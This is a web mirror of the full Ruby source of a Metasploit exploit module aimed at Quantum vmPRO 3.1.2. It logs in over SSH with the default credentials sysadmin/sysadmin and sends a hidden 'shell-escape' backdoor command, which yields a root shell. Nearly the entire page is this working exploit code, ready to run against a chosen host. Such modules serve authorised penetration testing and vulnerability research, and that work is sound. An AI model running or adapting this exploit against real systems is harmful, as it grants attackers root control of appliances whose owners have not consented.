CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'net/ssh'
7
require 'net/ssh/command_stream'
8
9
class MetasploitModule < Msf::Exploit::Remote
10
Rank = ExcellentRanking
11
12
include Msf::Exploit::Remote::SSH
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Quantum vmPRO Backdoor Command',
19
'Description' => %q{
20
This module abuses a backdoor command in Quantum vmPRO. Any user, even one without admin
21
privileges, can get access to the restricted SSH shell. By using the hidden backdoor
22
"shell-escape" command it's possible to drop to a real root bash shell. This module
23
has been tested successfully on Quantum vmPRO 3.1.2.
24
},
25
'License' => MSF_LICENSE,
26
'Author' => [
27
'xistence <xistence[at]0x90.nl>' # Original discovery and Metasploit module
28
],
29
'References' => [
30
['PACKETSTORM', '125760']
31
],
32
'DefaultOptions' => {
33
'EXITFUNC' => 'thread'
34
},
35
'Payload' => {
36
'Compat' => {
37
'PayloadType' => 'cmd_interact',
38
'ConnectionType' => 'find'
39
}
40
},
41
'Platform' => 'unix',
42
'Arch' => ARCH_CMD,
43
'Targets' => [
44
['Quantum vmPRO 3.1.2', {}],
45
],
46
'Privileged' => true,
47
'DisclosureDate' => '2014-03-17',
48
'DefaultTarget' => 0,
49
'Notes' => {
50
'Stability' => [CRASH_SAFE],
51
'Reliability' => [REPEATABLE_SESSION],
52
'SideEffects' => []
53
}
54
)
55
)
56
57
register_options(
58
[
59
Opt::RHOST(),
60
Opt::RPORT(22),
61
OptString.new('USER', [ true, 'vmPRO SSH user', 'sysadmin']),
62
OptString.new('PASS', [ true, 'vmPRO SSH password', 'sysadmin'])
63
], self.class
64
)
65
66
register_advanced_options(
67
[
68
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
69
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
70
]
71
)
72
end
73
74
def rhost
75
datastore['RHOST']
76
end
77
78
def rport
79
datastore['RPORT']
80
end
81
82
def do_login(user, pass)
83
opts = ssh_client_defaults.merge({
84
auth_methods: ['password', 'keyboard-interactive'],
85
port: rport,
86
password: pass
87
})
88
89
opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
90
91
begin
92
ssh = nil
93
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
94
ssh = Net::SSH.start(rhost, user, opts)
95
end
96
rescue Rex::ConnectionError
97
return nil
98
rescue Net::SSH::Disconnect, ::EOFError
99
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
100
return nil
101
rescue ::Timeout::Error
102
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
103
return nil
104
rescue Net::SSH::AuthenticationFailed
105
print_error "#{rhost}:#{rport} SSH - Failed authentication"
106
return nil
107
rescue Net::SSH::Exception => e
108
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
109
return nil
110
end
111
112
if ssh
113
conn = Net::SSH::CommandStream.new(ssh, 'shell-escape')
114
return conn
115
end
116
117
return nil
118
end
119
120
def exploit
121
user = datastore['USER']
122
pass = datastore['PASS']
123
124
print_status("#{rhost}:#{rport} - Attempt to login...")
125
conn = do_login(user, pass)
126
if conn
127
print_good("#{rhost}:#{rport} - Login Successful ('#{user}:#{pass})")
128
handler(conn.lsock)
129
end
130
end
131
end
132
133